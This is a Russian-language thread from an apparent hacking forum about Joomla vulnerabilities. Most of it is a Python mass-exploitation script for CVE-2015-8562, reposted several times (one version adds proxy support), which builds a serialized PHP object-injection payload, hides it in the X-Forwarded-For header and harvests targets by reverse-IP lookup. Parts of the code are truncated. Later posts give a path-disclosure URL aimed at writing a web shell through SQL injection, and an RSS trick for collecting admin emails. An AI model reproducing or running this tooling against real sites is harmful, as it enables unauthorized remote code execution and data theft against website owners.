HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #321  
Старый 19.12.2015, 23:12
blackbox
Guest
Сообщений: n/a
Провел на форуме:
137056

Репутация: 11
По умолчанию

Выкладываю свою поделку для проверки списка сайтов на CVE-2015-8562. Скрипт работает в двух режимах: можно указать домен, по которому будет осуществлен reverse ip lookup и получен список сайтов для проверки или же задать файл со списком сайтов. В случае если сайт уязвим, программа выведет "exploitable". Есть возможность результат записать в лог-файл. Сильно не пинайте, посоны, код корявенький, работает тоже не шибко шустро. Да, и еще, обратите внимание на название заголовка, который используется - сейчас он еще работает там, где уже фильтруется UA.

Код:
Code:
'''
  joomla rce masschek for CVE-2015-8562
  bb special for antichat.ru
  thx to: Gary@Sec-1 ltd, antichat community
  19.12.2015   
'''
import sys
import re
import requests
import getopt

message = "--"
def get_url(url, user_agent):
   global message         
   headers = {
   #'User-Agent': user_agent   
   'x-forwarded-for': user_agent
   }
   response = None
   try:
     cookies = requests.get(url, timeout=15, headers=headers).cookies

     for _ in range(3):
       response = requests.get(url, timeout=15, headers=headers,cookies=cookies)   
   except Exception as ex:
     #print ex.message
     message = "Error: " + str(ex.message)
   if response:
     #print "got response"
     #print response.content
     return response.content
   return None
   
def php_str_noquotes(data):
  "Convert string to chr(xx).chr(xx) for use in php"
  encoded = ""
  for char in data:
  encoded += "chr({0}).".format(ord(char))
  return encoded[:-1]
def generate_payload(php_payload):
  php_payload = "eval({0})".format(php_str_noquotes(php_payload))
  terminate = '\xf0\xfd\xfd\xfd';
  exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
  injected_payload = "{};JFactory::getConfig();exit".format(php_payload)   
  exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
  exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
  return exploit_template
def get_site_list(domain):
   url = "http://viewdns.info/reverseip/?host=" + domain  + "&t=1"
   headers = {
   
   'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'   
     
   }

   #print url
   try:
     response = requests.get(url, timeout=15, headers = headers)
     text =  response.content
     #print text
     sites = re.findall("\s+(.*?)"
   print "Options:"
   print "-d, --domain   domain for reverse lookup on viewdns.info"
   print "-f, --file   file with site list to check"
   print "-l, --log   save result to log file"
   print "Example: "+sys.argv[0]+" --file domains.txt --log output.txt"

pl = generate_payload("phpinfo();")
#text = get_url(host, pl)

#write log?   
write_log = False
log_file = ""
domain = ""
read_file = ""
opts, args = getopt.getopt(sys.argv[1:], "f:d:l:", ["file=","domain=","log="]);

for opt, arg in opts:
   if opt in("-f", "--file"):
     read_file = arg
   elif opt in("-d", "--domain"):
     domain = arg
   elif opt in("-l", "--log"):
     log_file = arg
     write_log = True

if(domain and read_file):
   usage()
   exit()

if(domain == "" and read_file == ""):
   usage()
   exit()

if(write_log == True):
   
   fh = open(log_file, "w")
   fh.close()

#use file or get domains from viewdns.info

if(domain):
   sites = get_site_list(domain)
   #print sites
   print "Total " +str(len(sites)) + " sites to check"
   check_sites(sites, pl, write_log, log_file)
elif(read_file):
   fh = open(read_file,"r")
   data = fh.readlines()
   fh.close()
   print "Total " +str(len(data)) + " sites to check"
   check_sites(data, pl, write_log, log_file)
Надеюсь кому-нибудь пригодится.
 
Ответить с цитированием

  #322  
Старый 21.12.2015, 18:03
Filipp
Guest
Сообщений: n/a
Провел на форуме:
98300

Репутация: 31
По умолчанию

Нашел онлайн тулзу для чека CVE-2015-8562: https://scan.patrolserver.com/joomla/CVE-2015-8562
 
Ответить с цитированием

  #323  
Старый 21.12.2015, 21:39
nitupme
Guest
Сообщений: n/a
Провел на форуме:
5963

Репутация: 0
По умолчанию

Цитата:
Сообщение от blackbox  
blackbox said:

Выкладываю свою поделку для проверки списка сайтов на CVE-2015-8562. Скрипт работает в двух режимах: можно указать домен, по которому будет осуществлен reverse ip lookup и получен список сайтов для проверки или же задать файл со списком сайтов. В случае если сайт уязвим, программа выведет "exploitable". Есть возможность результат записать в лог-файл. Сильно не пинайте, посоны, код корявенький, работает тоже не шибко шустро. Да, и еще, обратите внимание на название заголовка, который используется - сейчас он еще работает там, где уже фильтруется UA.
Код:
Code:
'''
  joomla rce masschek for CVE-2015-8562
  bb special for antichat.ru
  thx to: Gary@Sec-1 ltd, antichat community
  19.12.2015
'''
import sys
import re
import requests
import getopt

message = "--"
def get_url(url, user_agent):
   global message      
   headers = {
   #'User-Agent': user_agent
   'x-forwarded-for': user_agent
   }
   response = None
   try:
     cookies = requests.get(url,headers=headers).cookies

     for _ in range(3):
       response = requests.get(url, headers=headers,cookies=cookies)
   except Exception as ex:
     #print ex.message
     message = "Error: " + str(ex.message)
   if response:
     #print "got response"
     #print response.content
     return response.content
   return None

def php_str_noquotes(data):
  "Convert string to chr(xx).chr(xx) for use in php"
  encoded = ""
  for char in data:
  encoded += "chr({0}).".format(ord(char))
  return encoded[:-1]
def generate_payload(php_payload):
  php_payload = "eval({0})".format(php_str_noquotes(php_payload))
  terminate = '\xf0\xfd\xfd\xfd';
  exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
  injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
  exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
  exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
  return exploit_template
def get_site_list(domain):
   url = "http://viewdns.info/reverseip/?host=" + domain  + "&t=1"
   headers = {

   'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'
  
   }

   #print url
   try:
     response = requests.get(url, headers = headers)
     text =  response.content
     #print text
     sites = re.findall("\s+(.*?)"
   print "Options:"
   print "-d, --domain   domain for reverse lookup on viewdns.info"
   print "-f, --file   file with site list to check"
   print "-l, --log   save result to log file"
   print "Example: "+sys.argv[0]+" --file domains.txt --log output.txt"

pl = generate_payload("phpinfo();")
#text = get_url(host, pl)

#write log?
write_log = False
log_file = ""
domain = ""
read_file = ""
opts, args = getopt.getopt(sys.argv[1:], "f:d:l:", ["file=","domain=","log="]);

for opt, arg in opts:
   if opt in("-f", "--file"):
     read_file = arg
   elif opt in("-d", "--domain"):
     domain = arg
   elif opt in("-l", "--log"):
     log_file = arg
     write_log = True

if(domain and read_file):
   usage()
   exit()

if(domain == "" and read_file == ""):
   usage()
   exit()

if(write_log == True):

   fh = open(log_file, "w")
   fh.close()

#use file or get domains from viewdns.info

if(domain):
   sites = get_site_list(domain)
   #print sites
   print "Total " +str(len(sites)) + " sites to check"
   check_sites(sites, pl, write_log, log_file)
elif(read_file):
   fh = open(read_file,"r")
   data = fh.readlines()
   fh.close()
   print "Total " +str(len(data)) + " sites to check"
   check_sites(data, pl, write_log, log_file)
Надеюсь кому-нибудь пригодится.
Зависает - скорее всего если сайт недоступен. Допиши плиз чтобы таймаут был. JOOMLA 1 и 2 не пробивает в чем может быть дело. Проверял 500 доменов. 3 - отлично сканирует.
 
Ответить с цитированием

  #324  
Старый 24.12.2015, 17:51
grimnir
Guest
Сообщений: n/a
Провел на форуме:
216062

Репутация: 231
По умолчанию

http://www.joomlaexploit.com/ БД уязвимостей джумлы.
 
Ответить с цитированием

  #325  
Старый 26.12.2015, 02:59
private_static
Guest
Сообщений: n/a
Провел на форуме:
25535

Репутация: 22
По умолчанию

Цитата:
Сообщение от blackbox  
blackbox said:

Выкладываю свою поделку для проверки списка сайтов на CVE-2015-8562. Скрипт работает в двух режимах: можно указать домен, по которому будет осуществлен reverse ip lookup и получен список сайтов для проверки или же задать файл со списком сайтов. В случае если сайт уязвим, программа выведет "exploitable". Есть возможность результат записать в лог-файл. Сильно не пинайте, посоны, код корявенький, работает тоже не шибко шустро. Да, и еще, обратите внимание на название заголовка, который используется - сейчас он еще работает там, где уже фильтруется UA.
Код:
Code:
'''
  joomla rce masschek for CVE-2015-8562
  bb special for antichat.ru
  thx to: Gary@Sec-1 ltd, antichat community
  19.12.2015
'''
import sys
import re
import requests
import getopt

message = "--"
def get_url(url, user_agent):
   global message      
   headers = {
   #'User-Agent': user_agent
   'x-forwarded-for': user_agent
   }
   response = None
   try:
     cookies = requests.get(url, timeout=15, headers=headers).cookies

     for _ in range(3):
       response = requests.get(url, timeout=15, headers=headers,cookies=cookies)
   except Exception as ex:
     #print ex.message
     message = "Error: " + str(ex.message)
   if response:
     #print "got response"
     #print response.content
     return response.content
   return None

def php_str_noquotes(data):
  "Convert string to chr(xx).chr(xx) for use in php"
  encoded = ""
  for char in data:
  encoded += "chr({0}).".format(ord(char))
  return encoded[:-1]
def generate_payload(php_payload):
  php_payload = "eval({0})".format(php_str_noquotes(php_payload))
  terminate = '\xf0\xfd\xfd\xfd';
  exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
  injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
  exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
  exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
  return exploit_template
def get_site_list(domain):
   url = "http://viewdns.info/reverseip/?host=" + domain  + "&t=1"
   headers = {

   'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'
  
   }

   #print url
   try:
     response = requests.get(url, timeout=15, headers = headers)
     text =  response.content
     #print text
     sites = re.findall("\s+(.*?)"
   print "Options:"
   print "-d, --domain   domain for reverse lookup on viewdns.info"
   print "-f, --file   file with site list to check"
   print "-l, --log   save result to log file"
   print "Example: "+sys.argv[0]+" --file domains.txt --log output.txt"

pl = generate_payload("phpinfo();")
#text = get_url(host, pl)

#write log?
write_log = False
log_file = ""
domain = ""
read_file = ""
opts, args = getopt.getopt(sys.argv[1:], "f:d:l:", ["file=","domain=","log="]);

for opt, arg in opts:
   if opt in("-f", "--file"):
     read_file = arg
   elif opt in("-d", "--domain"):
     domain = arg
   elif opt in("-l", "--log"):
     log_file = arg
     write_log = True

if(domain and read_file):
   usage()
   exit()

if(domain == "" and read_file == ""):
   usage()
   exit()

if(write_log == True):

   fh = open(log_file, "w")
   fh.close()

#use file or get domains from viewdns.info

if(domain):
   sites = get_site_list(domain)
   #print sites
   print "Total " +str(len(sites)) + " sites to check"
   check_sites(sites, pl, write_log, log_file)
elif(read_file):
   fh = open(read_file,"r")
   data = fh.readlines()
   fh.close()
   print "Total " +str(len(data)) + " sites to check"
   check_sites(data, pl, write_log, log_file)
Надеюсь кому-нибудь пригодится.
прикрутил поддержку работы через http прокси

Код:
Code:
'''
  joomla rce masschek for CVE-2015-8562
  bb special for antichat.ru
  thx to: Gary@Sec-1 ltd, antichat community
  19.12.2015
'''
import getopt
import re
import requests
import sys

message = "--"
proxy = {}

def get_ip():
    ip = requests.get('http://icanhazip.com', proxies=proxy).content
    return ip

def get_url(url, user_agent):
    global message
    headers = {
        # 'User-Agent': user_agent
        'x-forwarded-for': user_agent
    }
    response = None
    try:
        cookies = requests.get(url, timeout=15, headers=headers, proxies=proxy).cookies
        for i in xrange(3):
            response = requests.get(url, timeout=15, headers=headers, cookies=cookies, proxies=proxy)
    except Exception as ex:
        message = "Error: " + str(ex.message)
    if response:
        return response.content
    return None

def php_str_noquotes(data):
    "Convert string to chr(xx).chr(xx) for use in php"
    encoded = ""
    for char in data:
        encoded += "chr({0}).".format(ord(char))
    return encoded[:-1]

def generate_payload(php_payload):
    php_payload = "eval({0})".format(php_str_noquotes(php_payload))
    terminate = '\xf0\xfd\xfd\xfd'
    exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
    injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
    exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
    exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
    return exploit_template

def get_site_list(domain):
    url = "http://viewdns.info/reverseip/?host=" + domain + "&t=1"
    headers = {

        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'

    }

    try:
        response = requests.get(url, timeout=15, headers=headers, proxies=proxy)
        text = response.content
        sites = re.findall("\s+(.*?)"
    print "Options:"
    print "-d, --domain   domain for reverse lookup on viewdns.info"
    print "-f, --file   file with site list to check"
    print "-l, --log   save result to log file"
    print "-p, --proxy   use http proxy"
    print "Example: " + sys.argv[0] + " --file domains.txt --log output.txt --proxy 127.0.0.1:3128"

pl = generate_payload("phpinfo();")

write_log = False
log_file = ""
domain = ""
read_file = ""
opts, args = getopt.getopt(sys.argv[1:], "f:d:l:p:", ["file=", "domain=", "log=", "proxy="]);

for opt, arg in opts:
    if opt in ("-f", "--file"):
        read_file = arg
    elif opt in ("-d", "--domain"):
        domain = arg
    elif opt in ("-l", "--log"):
        log_file = arg
        write_log = True
    elif opt in ("-p", "--proxy"):
        proxy_data = ""
        arg = arg.lower()
        if not arg.startswith("http://"):
            proxy_data = "http://" + arg
        else:
            proxy_data = arg
        proxy["http"] = proxy_data

if (domain and read_file or domain == "" and read_file == ""):
    usage()
    exit()

if (write_log):
    fh = open(log_file, "w")
    fh.close()

# use file or get domains from viewdns.info

if (domain):
    sites = get_site_list(domain)
    print "Total " + str(len(sites)) + " sites to check"
    check_sites(sites, pl, write_log, log_file)
elif (read_file):
    fh = open(read_file, "r")
    data = fh.readlines()
    fh.close()
    print "Total " + str(len(data)) + " sites to check"
    check_sites(data, pl, write_log, log_file)
юзается так: --proxy ip:рort
 
Ответить с цитированием

  #326  
Старый 30.12.2015, 19:11
blackhead
Guest
Сообщений: n/a
Провел на форуме:
5407

Репутация: 0
По умолчанию

Цитата:
Сообщение от Filipp  
Filipp said:

Подкоректировал сплоит (
https://www.exploit-db.com/exploits/38977/
)
Ребята подскажите как пользоваться (с Python'омне знаком). Запускаю так cmd -> C:\Python\python.exe C:\sploit.py на долю секунды появляется окно и исчезает.
 
Ответить с цитированием

  #327  
Старый 31.12.2015, 00:27
nick_sale
Guest
Сообщений: n/a
Провел на форуме:
0

Репутация: 0
По умолчанию

Цитата:
Сообщение от blackhead  
blackhead said:

Ребята подскажите как пользоваться (с
Python'ом
не знаком). Запускаю так cmd -> C:\Python\python.exe C:\sploit.py на долю секунды появляется окно и исчезает.
Для начала тебе надо поставить библиотеку requests.

Открываешь консоль переходишь в папку \Python\Scripts и дальше пишешь коммнду pip install requests, либо easy_install requests.

Все просто
 
Ответить с цитированием

  #328  
Старый 19.02.2016, 11:23
Telariust
Guest
Сообщений: n/a
Провел на форуме:
3018

Репутация: 3
По умолчанию

Joomla 3.x

Раскрытие пути

Работает вне зависимости от "error_reporting" и "display_errors"

/index.php?option=com_ajax&format=debug&module=1

Например, полный путь необходим для выгрузки в файл [sql-inj]+into+outfile+'/path/to/joomla/cache/s.php'--+-
 
Ответить с цитированием

  #329  
Старый 20.02.2016, 08:51
Telariust
Guest
Сообщений: n/a
Провел на форуме:
3018

Репутация: 3
По умолчанию

Joomla 3.x

RSS - Раскрытие email пользователей и их ранга.

(или как узнать mail админа)

/index.php?format=feed&type=rss

или

/index.php?format=feed&type=atom

Каждое сообщение подписано, ищем строчки вроде:

mymail@myjoomla.com (Super User)

mymail@myjoomla.com (Ichthus)
 
Ответить с цитированием

  #330  
Старый 09.11.2016, 12:35
winstrool
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875

Репутация: 137
По умолчанию

Цитата:
Сообщение от ..::TROYAN::..  
..::TROYAN::.. said:

странно почему здесь никто не обсуждает уязвимости свежии джумлы
А что там обсуждать? все предельно просто и понятно!, создаете админа, заходите, заливаетесь....
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Обзор уязвимостей в форумных движках] Grey Сценарии/CMF/СMS 49 02.04.2015 17:48
Обзор бесплатных Cms em00s7 PHP 16 03.07.2009 13:13
Cms Cawabunga PHP 20 05.08.2007 00:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ